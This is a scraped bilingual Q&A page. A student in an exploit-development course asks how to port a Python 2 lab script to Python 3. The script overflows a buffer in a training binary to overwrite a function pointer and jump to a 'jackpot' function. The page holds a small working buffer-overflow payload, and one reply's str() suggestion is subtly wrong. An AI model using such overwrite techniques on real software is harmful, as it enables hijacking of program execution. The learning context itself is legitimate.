简体   繁体   English

需要帮助重写python 2.7 Unicode代码才能与3.x一起使用

[英]Need help rewriting python 2.7 Unicode code to work with 3.x

I'm working through an Exploit Development course on Pluralsight and in the lab I'm currently on we are doing a basic function pointer overwrite. 我正在完成有关Pluralsight的Exploit开发课程,目前在实验室中,我们正在做基本的函数指针覆盖。 The python script for the lab essentially runs the target executable with a 24 byte string input ending with the memory address of the "jackpot" function. 实验室的python脚本实际上使用24字节字符串输入(以“ jackpot”函数的内存地址结尾)运行目标可执行文件。 Here's the code: 这是代码:

#!/usr/bin/python
import sys
import subprocess
import struct

# 20+4+8+4=36 would overwrite 'r', but we only want to hit the func ptr

jackpot = 0x401591
# we only take 3 of the 4 bytes because strings cannot have a null,
# but will be null terminated terminated to complete the dword address
jackpot_packed = struct.pack('L', jackpot)[0:3]

arg = "A" * 20
arg += jackpot_packed
# or
# arg += "\x91\x15\x40"

subprocess.call(['functionoverwrite.exe', arg])

The script runs without error and works as expected using python 2.7.8, but with 3.7.2 I get this error: 该脚本运行无错误,并且可以使用python 2.7.8正常运行,但是使用3.7.2时,出现此错误:

Traceback (most recent call last): File "c:/Users/rossk/Desktop/Pluralsight/Exploit Development/03/demos/lab2/solution/solution.py", line 14, in arg += jackpot_packed TypeError: can only concatenate str (not "bytes") to str 追溯(最近一次通话最近):文件“ c:/ Users / rossk / Desktop / Pluralsight / Exploit Development / 03 / demos / lab2 / solution / solution.py”,第14行,在arg + = jackpot_packed TypeError中:只能串联str(不是“字节”)到str

So I've tried commenting out the "arg += jackpot_packed" expression and using the "arg += "\\x91\\x15\\x40" one instead, but apparently that doesn't result in the same string because when I run the script the target executable crashes without calling the jackpot function. 因此,我尝试注释掉“ arg + = jackpot_packed”表达式,并改用“ arg + =” \\ x91 \\ x15 \\ x40“,但这显然不会导致相同的字符串,因为当我运行脚本时目标可执行文件崩溃而未调用累积奖金函数。

I'm looking for a way to fix this program for python 3. How can this code be rewritten so that it works for 3.x? 我正在寻找一种针对python 3修复此程序的方法。如何重写此代码,使其适用于3.x?

In Python 3, there's no implicit conversion between unicode (str) objects and bytes objects. 在Python 3中,unicode(str)对象和bytes对象之间没有隐式转换。 If you know the encoding of the output, you can .decode() it to get a string, or you can turn the \\n you want to add to bytes with "\\n".encode('ascii') 如果您知道输出的编码,则可以对它进行.decode()以获取字符串,也可以使用“ \\ n”将要添加的\\ n转换为字节。encode('ascii')

尝试arg + = str(jackpot_packed)

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM